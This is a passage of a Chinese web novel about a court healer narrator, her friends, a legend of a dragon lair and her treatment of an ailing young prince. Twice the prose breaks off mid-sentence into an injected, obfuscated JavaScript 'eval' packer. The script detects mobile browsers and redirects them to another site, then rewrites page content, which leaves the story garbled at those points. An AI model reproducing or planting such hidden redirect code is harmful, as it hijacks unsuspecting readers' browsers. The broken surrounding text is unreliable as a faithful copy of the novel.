花铁铁可是逮住机会不撒口的主儿,当初她说岔劈嘴,我还讥讽她来着,所以立即怼我:“龟儿子?!这可是你说的!?” “我说的!怎么着?你还真会为了捡我这便宜儿子去忍忍啊?那你母爱如海般深沉泛滥,我也不是不能认你。择日不如撞日,小刀剌屁股,给你儿子我开开眼儿,这就去吧……”我挑了挑眉,下巴朝皇家护卫那边指了指,又朝马场指了指。 花铁铁憋了半天,憋出两个字:“……你行!” 最美不过夕阳红,一抹残阳照在花铁铁面颊上,衬得她笑靥如仙,不可方物。大家欢笑着,都失了神,连平安也不例外。 “过来。”我一边整理着身上宽大的罩袍,一边若无其事的样子。 花铁铁莫名其妙的看着我,本能的感觉我不怀好意,却还是忍不住好奇,上前弯下腰凑过来,问:“做什么?” 她话音未落,我照着她的脸就是一巴掌,然后像一只雨燕,飞身而去。啊哈哈哈…… 这一巴掌真爽——我们光明磊落惯了,向来没有隔夜仇。 刚才我有多气急败坏,现在的花铁铁就有多败坏气急。 奈何我身上的罩袍兜风,我飞得越快,兜得风越多,灌满风后像个大包袱,累得我根本跑不快,眨眼就给花铁铁追上了,两人便打闹起来,正嬉笑着,忽然听见远处传来卖糖人的货郎的叫卖声。 这个时辰,大道上有不少行色匆匆的商旅货郎,他们是要进城赶夜市的。 货郎身后还有不少孩子跟随着。上林苑里有很多或散落或聚居的小庄子,小村落,这些孩子便是那里来的。他们没钱,只是跟着货郎走一段路,便满足了。我和堂邑夫小时候也经常如是。 我最喜欢吃糖人儿了,一看见糖人儿就忘了和花铁铁打斗,多挨了几下也不管不顾,只焦急万分的甩着罩袍长长的袖子,央求着花铁铁道:“给我买给我买,快快快,给我买……”生怕晚了,货郎就走远了。 我身上是没有钱的,花铁铁叫住货郎正要给我买,匆匆赶到的平安却严令禁止。花铁铁看看我,又看看平安,再看看跟上来的堂邑夫和柳花郎,最后看了看货郎,在我绝望的尖叫声中,把钱袋子收了起来。 看着重新挑起担子的货郎,我瞬间崩溃,心都碎成渣渣了,不甘心地哭喊道:“给我买,给我买,买一个买一个,就一个就一个,给我买……啊……别走……啊……给我买,给我买……” 我一边哭喊着,一边用余光观察平安的神色,这个时候就是要堵对方会心软,孩子讹人就是这个道理,我从小就很会,于是更加撕心裂肺,如丧考妣,任谁看了都心疼不已。 奈何,我妹妹平安“铁石心肠”,连带着其他人也“心如钢铁”!我正要放弃,这时候刘景快步而来,站在山岗之上,大声问道:“怎么了怎么了怎么了?谁又惹我长安了?” 撑腰的来了,“我要吃糖人儿,她,她,还有他和他,他们都欺负我,不给我买。”我一边拉长音哭着一边指了指那些铁石心肠心如钢铁的人控诉,拖着长长的罩袍,跌跌撞撞朝着刘景身边跑过去,此刻,他就是我的神明,“给我买,给我买……” “买买买……”刘景赶紧吩咐身边的人:“快买快买,赶紧买赶紧去买,都买下来,别叫我长安着急。看给孩子急得,满头大汗,快快快,来来来……”刘景将我拉进怀中,关心则乱,用袖子胡乱给我擦着汗水和泪珠,但我感觉他把我刚哭出来的鼻涕给抹匀了全脸。唉,男人带孩子都这样。关键他给我买糖吃,我不能挑理儿。 本来我能收获一个糖人摊子,可在平安的据理力争下,我只得到了两个最小最小的糖人儿,平安挑了好久比对了好久,才从货架上挑出来。这已经足够了,有总比没有强,我向来识好,知足。 贪婪地吃着心爱的糖人儿,我满足的哈哈大笑:“啊哈哈哈哈哈哈哈哈……” 柳花郎说当时我因得逞而兴奋的笑声非常魔性。我瞪了他一眼说什么得逞?那明明是愿望满足的幸福。 平安心疼地将小小的我揽入怀里,一边给我把脸擦干净,一边解释说她不让我吃糖,一是因为我的牙齿已经不能再经受糖饴的腐蚀了,二是糖人儿太不卫生,那些糖人儿都是货郎用嘴巴吹出来的,实在不干净。 可我不在乎,牛粪我吃过,猪粪我也吃过,再脏再不干净的东西我都吃过,即便是干干净净的,不侵害我牙齿的又能怎样?都不如糖人儿这般让我如此痴迷,如此快乐。 我一个糖人儿还没吃完,郑清就下值了。 夜色将近,华灯初上的长安西市万园街,已经热闹非凡。 我有事要忙,叫他们三男两女先随齐王惠王一道进城游玩,花铁铁问我什么时候找她们汇合,我说饭点的时候,然后便飞身离开。 今天又到了我和七皇子约好见面的日子,他最近表现很好,都没有再发疯疾了,贤贵妃在我的医嘱下,也打开门禁,时常带着七皇子出来行走,前些日子甚至拜见了太后及皇帝,和太子亲王等众位兄弟们吃了一顿家常饭。 但七皇子的疯疾发作起来毕竟骇人,大家对他和善有加,却也谨慎防备。但这比起七皇子的病情好转,都不足为道,贤贵妃对我千恩万谢。 七皇子外居在皇家别苑兰池宫,我每次去见他的时候,都先趴在他寝殿东阁的墙头上,晃动窗外的玉兰树,等他觉察动静过来,推开窗户,惊喜地看着我,憨憨地道:“人参娃娃你来了?”我才翻墙下来,翻窗进去。 硕大的兰池宫,零星几个宫人,七皇子贴身的宫婢和黄门识趣退下。 “你看我给你带了什么?”我从怀里拿出用油纸包好的糖人儿,递到七 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我立即大肆表扬,这让七皇子刘橡欢喜不已信心满满,挺直了腰板,一副我很厉害吧的样子。 “走,我带你出去玩去。”对待刘橡这样的病人,一定要言而有信,我说过,只要他乖乖听话,配合治疗,早日康复,我就带他出去玩。 “出去玩?好呀好呀!”刘橡开心地活蹦乱跳,忽然有些不安地问:“我已经好了吗?” “嗯,现在是好了,一直听话一直乖,就会一直好下去。” 刘橡最听我的话了,对我深信不疑。 我不担心他发病,也不怕他发病,我就是要带他去热闹地方走走玩玩,看看他的反应,这对接下来的治疗很关键。 那天是花铁铁和李大娘子的第一次照面儿。堂邑夫跟我简单描述了一下,说当时李大娘子正从二楼的步梯下来,看见他们一众人临门,便加快脚步相迎,热络的话含在嘴里,注意到人群中的花铁铁,李大娘子便停下步子,站在楼梯上居高临下地微笑审视。 花铁铁是骄傲的,她不惯别人这样看她,抱臂仰头,直直地注视回去,看李大娘子下一步如何行事。 李大娘子看了看柳花郎,又看了看平安,和她的靠山齐王惠王,始终没看见我的影子,心中犯嘀咕。堂邑夫一直站在花铁铁身后,不做声,只给李大娘子眨了眨眼。 李大娘子笑着走下步梯,满眼惊艳,又透着一丝怯意,“胭脂虎花铁铁?” “正是在下!”花铁铁恭手行了江湖的抱拳礼,她很满意李大娘子的反应。 李大娘子欠身回礼,微笑着道:“柳花郎是我带来大汉的。” “知道。”花铁铁随和道。 “那你……”李大娘子迟疑了。 “哎,我们是来吃饭的,不是来寻仇的,我一路上都听平安夸赞花小楼,盛赞李大娘子,你可不要让我失望哦。”花铁铁说着看了看柳花郎,对着李大娘子又抱拳行礼,道:“还要多谢李大娘子对我朋友仗义相助。” 如何这般!?…… 李大娘子满脸错愕,旋而狐疑,不知道花铁铁这是唱的哪一出,防人之心不可无,毕竟是她帮着柳花郎逃跑的,怎么说也是和花铁铁明着做对了。她不禁越发小心起来,看看花铁铁葫芦里到底卖的什么药! 5. 七皇子 花铁铁的言行反应,真的很出乎众人意料,不过细细想来也是情理之中。 按花铁铁的说法就是:她是柳花郎的患难之交(这也说的过去,毕竟柳花郎第一次落难时被她所救),然后他们因一些不值一提的小事儿闹了起来,生了嫌隙,她对柳花郎下手着实过分了些,柳花郎因而负气出走,幸得李大娘子相助,安全入汉。 花铁铁又道:柳花郎当初在气头上,想必胡说八道说了她不少坏话也是有的,叫李大娘子权当笑话听听,别误会。 李大娘子哈哈一笑,大赞胭脂虎花铁铁为人仗义敞亮,人美心善,果然名不虚传,今日得见三生有幸云云。 来的都是客,商户不挑客人的理,李大娘子本来就得好生招呼,这下更加热情。 伶俐不过江湖,大家都是有台阶就赶紧下的人,人情世故就是互相给面子,江湖儿女向来大气好交得很,包间里几杯酒水下肚,花铁铁和李大娘子已经成了一见如故,相见恨晚的知己。 柳花郎创立的第二支乐队——有两个主唱的“盛世贤杰”,此时正在畅音阁上热场,花铁铁喜欢贤的《少年游》,我钟爱杰的《蜗牛》。 我就是一只小小的《蜗牛》:我要一步一步往上爬……总有一天我有属于我的天…… 刘橡乍一来人多热闹的地方,自然欢喜兴奋,却也紧张害怕,一路牵着我的手,即使到了花小楼也寸步不离的跟着。 包间里有说有笑,刘橡一进来,大家都热情友善的迎接他,他彬彬有礼一一回应,他知道惠王是堂兄,齐王是自己的亲弟弟,可是兄弟们自幼不在一起,刘橡如今和他们也玩不到一起去,所以并不亲热,只打了招呼,便贴着我入席坐下。 刘橡随身抱着一个精美的罐子,连吃饭的时候都不肯放下,平安一边给刘橡布菜,一边温柔地道:“大橡你今天好乖啊,抱的是什么好东西啊?这么宝贝?” “是我的飞将军,我今天出来玩,也带它见世面。姐姐你看……”刘橡说着就要打开给平安看他的飞将军,他喜欢这个和蔼漂亮的妹妹,可他更喜欢叫平安姐姐,平安也受用得很。 我赶紧按住刘橡要打开罐子的手道:“别打开,平安是很害怕虫虫的,你的飞将军那么厉害,平安会吓哭的,晚上会吓的做噩梦。”平安一听说罐子里面是虫子,脸色微变,稍稍退了退。 “我不要姐姐哭,我不要姐姐做噩梦。”刘橡一听就急了,又敏锐地察觉平安的反应,便躁动不安起来,不停地重复道:“那怎么办,那怎么办?杀了飞将军,杀了飞将军……” “嘘,嘘……”我半跪着抱着刘橡,抚摸着他的头,在他更加激动,难以自控之前,耐心安抚,轻柔道:“不用杀死飞将军,飞将军是你的好朋友,杀死飞将军你也会很难过很心疼的对不对,只要不给平安看到,平安就不害吓啦,飞将军也不用死,你看平安好好地,一点都没在怕呢?” “飞将军不用死,姐姐好好的,没在怕,飞将军不用死,姐姐好好的,没在怕……”刘橡反复说着,直到脸上的紧张退去,才又拿起筷子安安静静,乖乖巧巧,认认真真地吃饭。 众人都能看到刘橡病情的好转,欣慰不已。 之前淑贵妃复位,协理后宫,贤贵妃终于腾出手来照顾七皇子刘橡,为了表达感谢,特意在兰池宫设了小筵款待我和平安,齐王做副陪。 那时的刘橡病情还不稳定,宴席吃到一半,听到我们说起齐王的狗狗,就忽然疯闹起来,场面一度完全失控,绕是我及时出手诊治,安抚镇定,还是把齐王和平安吓得不轻。 民间会把刘橡这种情况,简单的认定为疯病,还是特别让人难以忍受的武疯子,或者干脆归为痴傻蠢儿,放任不管。 但七皇子异常敏感,极为聪慧,有过目不忘的本事,所以在他面前是不能为了哄他听话就说谎的,他会跟你几乎偏执地讨论清楚,什么时候什么地方怎么说的,他复述得头头是道,连当时说话的语气他都给你模仿的惟妙惟肖,然后疯狂计较,最后所有的情绪都化为愤怒,喊打喊杀…… 依照常理这就是武疯子没错了,但我感觉七皇子更像是失魂症,而且还不是常见的失魂症,他有部分魂魄是残缺的,或者应该说三魂七魄先天不全更准确。我隐约记得在师父的书籍上看到过这种相关的记载,只是当时翻了翻,不感兴趣,就放下了,并未深作究学。 只记得说是人有魂魄,魂为阴,魄为阳:一魂胎光,胎光就是灵魂和天魂,一般失魂症就是胎光丢了,能吃能喝,但是没有思考能力,像行尸走肉一般。刘橡显然不是这样。 二魂爽灵,就是地魂,也叫觉魂,这一魂就是人的智慧和天赋,反应判断洞察逻辑……这一魂受损或丧失,人就会痴傻蠢笨。 三魂幽精,就是人的命魂,情根之所在。 七魂有侍犬,伏豕,雀吟,噬鲗,绯独,畜慧,雔飞,分别掌管人的天冲,灵慧,气,力,中枢,精,英…… 人的魂魄藏于人从头顶到会阴的七个脉轮中,也就是七个能量场。天冲魄在顶轮,灵慧魄在眉心轮,气魄在喉轮,力魄在心轮,中枢魄在脐轮,精魄在生育轮,英魄在海底轮。 人的七魄都归命魂所掌管,命魄依附在七个脉轮之上,透过七魄中的天冲灵慧主导思想,通过力气二魄主导行动,通过精英二魄主导身体强健,中枢一魄,乃为命魄,七魄聚首,主导协调。 人死后七魄散尽,天地二魂归于混沌,命魂转世轮回,命魂住胎之后,便在七个脉轮上重新生出七魄,引渡世间灵气,遂成天地二魂,降世为人。 我想七皇子刘橡就是在转世住胎的时候,因为贤贵妃孕中精神紧张忧思过虑母体有损,命魂筑建七魄的紧要关头出现了重大问题,导致七魄各有残缺,生成的天地两魂也有异常,最终先天不足,根基折耗。 刘橡的病,我倒是有一些法子可以尝试补救,否则也不会贸然插手,只是还需要一些机缘,讨得一些药引。这药引极为难得,可遇不可求,只能慢慢等待,暂且按下不提。 月上中天,我们乘船游玩,堂邑夫还有学业,于是便先行告辞回了学宫。 烟花四起,绚烂夺目,画舫缓缓摇曳前行,李大娘子高歌助兴,船头是齐王惠王和七皇子,我和柳花郎坐在船中谈买卖经,船尾的平安花铁铁听得热血沸腾,也想参与,就拉着一曲歌毕的李大娘子去船舱内室指导她们做生意,想说能不能开店卖抹胸。 买抹胸!?这么贴身的东西,开店卖?! 我脑子疼了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14309871|152330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下,跑到内室门口探头朝里看,眼神示意李大娘子,不可助其开店,李大娘子马上会悟,对平安说她们的抹胸实在金贵,怕是一般人买不起,而且…… 平安正在兴头,一般困难是无法打消她的积极性的,不等李大娘子说完,就兴奋地打断说可以专门做贵族女子的生意。 李大娘子团扇掩面呵呵笑道,京城的贵族小姐众多,一人总要定制两三件,三五件,问平安是不是要招人手,不然岂不是要把自己累死? 蕾丝很难编的,李大娘子跟平安学了几次都编不成型,花小楼的姑娘们也只有几个学得不错,但又编的太慢。平安要招聘一些人手现学,光是筛选出合格的人,就得些日子,这期间学徒吃喝住行也是比大开销。 李大娘子讲述了一下教习手工艺人的不易之处,人是最难管理的,蠢笨难教的不说,偷奸耍滑的就很让人头疼,再有心术不正的前来偷师,日后成为对家,知根知底儿,最是容易拿捏你的软处,专门做那些损人不利己的事儿,简直防不胜防。 花铁铁闻言,道:“那我们就自己干!” 李大娘子无奈地摇摇头道,那不就又回到起初的问题了吗? 花铁铁很有底气的样子,挺了挺腰板儿,说自己武艺超绝,编蕾丝很快,产量方面不用担心。平安信心满满地点点头,给了花铁铁一个赞赏的眼神。 两个铁憨憨!趴在内室门口的我抽了抽嘴角,蹙眉道:“妹妹,我是缺着你了吗?需要你出去赚钱?你为银钱奔波劳苦,就算成为京城首富又怎样?我不仅不高兴,还有一种没把你照顾好的感觉,你不要操心赚钱的事儿,我能养好你的。” “不是不是,我不是那个意思……”平安慌乱解释着起身到门口,看了看外面船上的男人们,把我进内室,撅着嘴巴,小声反问道:“不是你让我想干什么就干什么的吗?我想开抹胸店。” “不行,你要是想学做生意试水玩一玩,你卖别的可以,女子贴身的就不行。”我果断拒绝。 平安有些生气,问道:“为什么不行?女子贴身的怎么了,你歧视女子吗?你和那些男人一样,喜欢把女人圈养起来,嘴上说着想干什么就干什么,可动真格的就这也不行那也不行,就是觉得女人抛头露面,给你们丢人了是吧?长安,你变了,变得我不认识了……” 我妹妹不讲理的样子还怪好看的,我心里想着,便脱口而出,平安的气瞬间散了大半,只埋怨道:“你才不讲理。” “嗷呦,我是不讲理的人吗?”我可不给平安和花铁铁说是的机会,紧接着道:“你们以后是要嫁人的。” “跟我们嫁人有什么关系?”平安道:“就算我出来开店做生意,郑清也不会反对的,他和一般男人可不一样,他才不会介意我抛头露面,他啊,是真的支持我想干什么就干什么的!”平安说起郑清对她的尊重和宠溺,简直甜蜜的不行。 花铁铁自然更没在怕的,很硬气的回怼我,她爱干啥就干啥,天王老子也管不到她。 我心塞的不行,看了看一脸爱莫能助无能为力的李大娘子,心道有些话眼下实在不好当着李大娘子的面儿说,没得伤了人心,实在造口业。就认了个怂转身出去。平安把门一关,三个女人就叽叽喳喳的规划起来。 6. 龙穴 刘橡玩得很开心,他表现得很好,我将他带在身边一起回了汤泉宫丛芳园,本来我身边就已经有惠王齐王两个药罐子了,再多一个刘橡也没啥。 可花铁铁却有些微词,“你是上辈子欠了他们老刘家什么人情债,这辈子要这么跪舔?不不不,应该说你上辈子是欠了多少人的债,这辈子他们托生到一家子里,让你当牛做马的还?”花铁铁觉得应该这么说才合适,说完满意地点点头,认为自己语言总结能力和表述力都有所提升。 我们没有玩得太晚,赶在长安城门下钥落锁之前出了城。柳花郎和我们一道回了汤泉宫,歇在乐官处。 丛芳园寝殿,平安和翡翠正穿针引线行(hang)着草木染被面,我挑着羊角灯站在一边给她们照亮。花铁铁从汤泉池子里沐浴更衣后,就躺在床上拉闲呱。 “你的意思是我上辈子作孽太多?你为啥就不能觉得我是这辈子积德行善?”我翻眼皮偷着瞪花铁铁。 听我这样说平安才品出花铁铁的话外音,正要对我超强的理解力表示赞许,却撞见我偷瞪花铁铁的可爱模样,勾唇笑了笑。 四仰八叉的花铁铁忽然想到什么,盘腿坐起,道:“你别是他们老刘家的挂家郎吧?” 挂家郎?自从老唐末年,花家军河西一役覆灭以后,世上就再也没有挂家郎了,只剩故事流传。 “什么是挂家郎?”平安好奇的问。 翡翠倒是听说过,但也讲不明白。这事儿还得花铁铁能说清楚。 挂家郎就是花家将,传说花家先祖发现一处极好的风水宝地,帝王之气鼎盛,可龙穴却在水深千尺的潭子里。花家先祖将父亲遗体炼成骨灰,重金找了水性极佳的人下到潭子底部,将骨灰盒子放进去即可。 潭子水太深了,水性再好的人,也需要多次练习尝试。这一练习不要紧,便失了先机。一个原本放牛的孩童,终于在多次下水练习以后成功找到了龙穴。 那处龙穴是一个不起眼的石头,凸起着像一个巨大的乳~头,也可以说像一个巨大龙头吧,反正怎么好听怎么来呗,只见那个龙头有个大口子,不断涌出乳白色的泉水。牧童忍不住喝了一口,却忘了自己身在潭底,立即呛了水,赶紧游回水上,不等花家先祖询问,他便晕死过去。 睡梦中发着高烧,说着胡话,醒来却跟没事儿人一样。翌日清晨,牧童先回了一趟家,中午时刻才出现,只见他腰腹间鼓鼓的,问他,他也不说,只抱着花家先祖父亲的骨灰盒一跃下了深潭。 牧童上来以后就销声匿迹,花家先祖四处遍寻,也再找不见他了。后来花家先祖果然发迹,成了统兵统将的大元帅,跟随气运加身气势如虹的老唐李氏南征北战,建功立业,但却忠心耿耿,毫无二心,对登临大宝一事仿佛忘了一般。 花家先祖离世前,回光返照,梦中惊坐,忽然记起龙穴一事,深感疑惑,硬挺着一口气,又去那个深潭,想要一探究竟。却见老唐开国天子早先一步等在那里。原来天子就是当初那个牧童,牧童长大了,身型样貌都变了,花家先祖早先只觉得面善,竟没认出来。 天子娓娓道来,当初他呛水上来,就做了一整夜的梦,他听从上天的指示,第二天一大早回去掘开父亲坟墓,炼成骨灰,下水后,他先将父亲的骨灰放了进去,打算再放花家先祖父亲的骨灰盒,却为时已晚,只见那龙头哐啷一下把嘴合上,乳白色的泉水也不再汩汩流出,而是滋养着口中的骨灰,只时不时有几滴从口角流出,像龙涎一样顺着龙颌滴落。 牧童有些慌了,赶紧用力扳龙口,却怎么扳也扳不开,无奈之下,他把自己的裤子脱了,将花家先祖父亲的骨灰盒放进去,用腰带系好。然后将裤腿打结缠在龙颈子上,挂了上去…… 于是就有了挂家郎一说。挂家郎花家将,保了老唐千年江山,直至河西一战全军覆灭。花家覆灭,老唐式微。 据说有好事者苦苦探寻,终于找到龙潭,下到水底,发现不知哪年岁月,发生地动,龙头震损,所以老唐没落,而包裹花家先祖父亲骨灰盒的裤子也松了,从龙头上掉落下来,骨灰散了,所以花家覆灭。 挂家郎花家将的故事,民间一直流传,世人深信不疑,都说老唐江山不稳,是因为再无挂家郎花家作保。 平安问:“那花家都知道是怎么回事儿了,怎么不下到龙潭撬开龙口调换骨灰?” 我道:龙穴一旦认主,便是皇家发迹之地,有奇门遁甲守护,上天亦多设有天然结界做屏障,凡人不可得见,有机缘的人偶然遇上,或者认不出来,或者下不去水潭,等回头再找寻,便是无论如何也找不见了。花家先祖最后一次能近身龙穴,无非是老唐天子给的恩典,让他死前弄个明白而已。 花铁铁坦然道:“就算花家人还能再次寻到龙穴又能怎样,已经失了先机,再去人为,就是违背天命,就是造反,会遭报应的。没有做天子的气运,给天子做挂家郎,也是一人之下万人之上的福分了,人得知足不是?”花家祖上荣光的很,花铁铁对自己姓氏和血脉傲娇的很。 “这话说得在理!”我不经意抬眼撇了一下穿着清凉的花铁铁,感觉眼睛瞎了一下,心口堵得难受,我对花铁铁的审美简直不敢恭维。花铁铁看着我忍着作呕的神色,黑着脸问:“做什么要死的样子?” 本来平安给她设计的抹胸花样是很美的,可她方才闲着没事干,非要拿来针线选了两个硕大如枣子一样的红宝石,一边儿一个缝在特别显眼的位置。 “你加上那两个红宝石和没穿有什么区别?你若喜欢那两颗红宝石非要加上去,你上下并排着缝到两胸中间或者往下一点放到肚脐处都好,非要作死放到那里吗?”我表情甚是痛苦。 闻言,正在做活的平安和翡翠看了一眼花铁铁,也都皱着脸,有些一言难尽的憋闷感。 花铁铁低头看了看,觉得我说的很有道理,于是拿起剪子,卡卡就是两下。平安和翡翠又皱了一下脸,别说她们了,我都感觉胸口两点处隐隐不适。 花铁铁干脆脱下抹胸,上下摆弄着红宝石,最后确定这颗红宝石果然是多余的,穿上抹胸,低头一边欣赏一边道:“还是最初的样子最好看,哦,对了,长安我和你妹妹明天去盘铺子,你去不?” “……” 我还未开口,平安道:“你可以不去,但别阻拦,你说什么都不好使,我不听,我就是要开抹胸店。” 啧,妹妹不乖不听话呢。我知道有时候人总是要撞下南墙的,可那是我妹妹,我有些舍不得。算了,暂且由着她去吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14309872|152330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。她现在身边有花铁铁陪着,虽然惯喜欢在惹是生非的道路上横冲直撞,麻烦事一定不会少,但关键时刻花铁铁也能保她不吃亏受气,我是放心她们一道出去的。 开店,开抹胸店……我摇头叹了口气,道:“我去看看大橡,今晚就不回来,你们早些安置。” 今夜刘橡第一次外出留宿,我得相伴左右,好好呵护,确保不横生枝节。他和齐王惠王宿在丛芳园东侧院,我去的时候,齐王正在教哥哥刘橡下棋,刘橡学得很认真,都顾不上理我。 惠王正在泡汤泉,见我来了,说后背肩胛骨处有些疼痛,膀子有些抬不起来。我过去看了一下,问最近受过什么外伤吗? 惠王想了想,说没有。 齐王道:“是不是白日里帮着晾晒草木染的时候拉伤了。” 惠王沉思了一下,没法确定是不是,只摇了摇头说不知道。 我道:“难道是打水仗的时候拉伤的?” 七皇子刘橡一听打水仗,立马嚷嚷着要打水仗。我安抚他说天色晚了,先跟弟弟把棋下完,做哥哥的要给弟弟做榜样,不能老输给弟弟。刘橡一听立即认真起来,更加投入。 那边惠王顿了顿,还是一脸茫然。大傻子连自己怎么受伤的都不知道,算了,管他怎么受的伤,我只管给他治好就行了。 叫宫人伺候惠王出了池子,更换下宽松的浴袍,扶他趴在软榻上。 我自取来红花油,准备给惠王推拿。将浴袍往下褪到腰间,他的背肌肉结实,皮肤细腻光滑,只是好长好大的背啊,我给他推拿起来十分费劲,好在他背虽长肩虽宽腰却窄,我索性骑了上去,利落地倒上红花油,给他疼痛拉伤的肩胛处进行医治。 推拿讲究手法,摩,擦,推,滚,揉,拿,捏,按,拔,搓,点,捻,拍,击,抖,振等十几种,我许久未练,有些生疏了,便借着这个机会,将这些手法,在惠王身上复习了一个遍。 开始惠王还因为疼痛忍不住喊叫,把隔壁的花铁铁引了过来,她趴在墙头上,美丽的脸上都是抑制不住的兴奋和激动,却只见原来是我给惠王做推拿理疗,便意兴阑珊地嘟囔着惠王一个大男人居然这么娇气,一戳一叫唤,然后就消失在墙头上。 惠王有些脸红,倒不是因为穿着清凉给花铁铁看了,多半是被花铁铁嫌弃到了,有些丢面子,反正是不再大声叫了,我问他感觉如何,他只咬着牙说舒服,后来简直太“舒服”了,直接一声不吭的昏昏沉沉“睡死”了。 我拿来轻薄的凉被给他盖上,夏天蚊虫多,我叫宫人放下软榻的围帐,又点了味道清甜的荔枝熏香。 平安那边姑娘们有说有笑,嬉水打闹,一点睡意也没有。平安弹着吉他,唱着曲调婉转悠扬,抚人心脾的《阿妮》:那妆靥化了又花,洗了又化,还是不敢面对他,阿妮啊别哭了好吗…… 少女心事,这样的窘态,我也想有……我也想亭亭玉立,漫漫长夜,思念成河,守着微弱的灯芯,将爱意捻成麻,为你成疾,以你为药…… 李椒,我想你了!以前啊,这六个字,我还能写在小札里,如今只能刻在心里呢! 悠扬的旋律下,轩窗边,我举头望着明月,不知那人此刻是否也仰着头,透过这轮明月迎上我的目光? 7. 秘密 平安的歌声轻柔如梦,抚慰熨帖了每一个人心灵上的褶皱。 众人正沉浸其中,刘橡忽然起身就要出去,嚷嚷着要去找平安姐姐玩,齐王惊恐地躲到一边,又讪讪地上前阻拦,却不知道该做什么。 我快步过去挡在门口,拉着刘橡的手,引他坐下,他个子真高,即便坐着,也比我高出许多。 我抬手抚着刘橡的脸,软糯糯地柔声道:“我不想总是拒绝你,这也不许你做,那也不许你做,对你实在太约束,你会伤心难过。可是你提出的请求,实在让我有些为难。 你也知道男孩子和女孩子长得不一样,这会儿她们女孩子都在汤泉池子里嬉水,泡汤泉的时候,身上穿的少,羞羞的,白天尚且要回避,夜里更是不能在一起的。花铁铁那么调皮捣蛋,刚才也只敢爬墙头,都不敢贸然进来。 花铁铁是个例外,咱们不好学她。大部分女孩子都是像平安那个样的,很乖巧很可爱,又生的那么漂亮好看,你很喜欢和她们一起玩的对吗?但是她们胆子啊,通常都很小很小,很容易受惊害怕的。 大晚上的,就算这会儿没安置睡下,也都更衣卸妆了,你一个男孩子此刻突然闯进去,平安她们不仅不愿意和你玩,还会被你冒犯到,也许不会讨厌你,但肯定没办法像之前那样喜欢你。 你那么乖那么好,不能仗着她们原本深深喜爱你,就做一些不讨人喜欢的事儿,试探人家对你容忍的下限,那样她们会对你越来越失望。应该做一些讨她们欢心的事情,让她们越来越喜欢你,让她们觉得你值得她们喜欢,对不对?” 刘橡点点头,乖巧懂事地道:“我要值得,我要让她们喜欢我,越来越喜欢我,我要做讨她们欢心的事情,可是……我该怎么做?” “嗯……”我想了想道:“我看这个荔枝香挺好的,夏天蚊虫多,女孩子都怕被叮咬,我们去给她们送一点吧。” “蚊虫太坏了,太坏了,太坏了!不能让姐姐她们被叮咬,被咬到很痒的,很痒的,很痒的,抓破了,会流血,会留疤,留疤会伤心,会伤心。” 刘橡起身来回走着,双手夸张地挥舞着,表情急切地大声说着,仿佛蚊虫是这世上最罪大恶极的,叮咬人是不可饶恕的,而被蚊虫叮咬是万劫难复的痛苦。 齐王吓得躲到一边,我小心观察刘橡的一切反应。却见刘橡说完,顿了顿,下一刻忽然快步走去香奁前,摆弄起香料来,他完全没有粗手笨脚,反而心灵手巧。 焚香一般有两种的方法,一是隔火,二是堆香。这个季节,一般采用堆香法。 只见刘橡先取来一个花样纹饰都喜欢的香炉,将香炉内的松香灰用香筷子打松铺匀,然后取灰押轻轻按压,一手把灰押抵在香炉内侧,一手转动香炉将松香灰摊平。 接着用羽扫将炉身上的散灰清理干净,再用灰押抹香灰,轻轻柔柔连抹带擦,最后松香灰平整的光面如玉,俨然像一块抛光的镜子。 这一步是最考验耐性的,要不停地转动香炉,反复清理挂灰,反复抹擦修整。刘橡做了好久,久到我担心下一刻他就要发脾气放弃了。 接着就是放香篆,刘橡选了一个玉兰花模子,垂直居中放进香炉中,用香勺少量多次地取香,然后拿来香铲,填粉入篆。 这一步考验的是力度的把控,力度大了香料太厚实烟大,容易闷灭。力度小了,香料太散,要么燃的太快,要么中途塌陷,断香。断香是很不吉利的。 刘橡做的十分小心谨慎,压好香模之后用香铲将多余香收集好,拿来香筷子在香篆上轻轻敲打脱模。 最后是起篆,这一步至关紧要,要是起篆失败,便是功亏一篑,那刚才的努力就全白费了。 只见刘橡左手按住香篆模子,右手中指贴着模柄,大拇指和食指,捏住模柄,左手向下按压,右手向上轻提,两只手的力度正相反,随后双臂垂直向上抬起提篆。 一整条曲线完美的香线就做好了。 我不禁拍手称道:“哇,大橡你真得好棒啊!你是我见过最会摆弄香料的人。” 刘橡直到点燃香料,盖好炉盖之后,才开心地咧着嘴呵呵笑着回应我。 齐王也称赞刘橡的手艺,眼里不禁透着羡慕,道:“母妃最是擅长弄香,哥哥定是母妃言传身教的。” 刘橡笑道:“母妃教哥哥,哥哥教你。”刘橡说着像大人对待孩子一样,抚了抚齐王的头,拍了拍他的肩。 齐王闪过一丝不易察觉的苦涩,微微笑着,温柔点头轻轻“嗯”了一声。 我们一起挑着香炉送去平安的寝殿。两个院子只隔了一道墙,穿过一个半月门,便是丛芳园正殿的大门,我们立在门口轻轻叩了三下。等里面有人询问,便道是七皇子来给平安送香。回应说稍等。 片刻,平安就推门出来,她洗去铅华,不施粉黛,脸颊颈子甚至锁骨处,都还残留着汤浴的水珠,她发髻有些松垮,平安伸手轻抚,几缕丝发却更加不听话地在风中飞旋飘起。 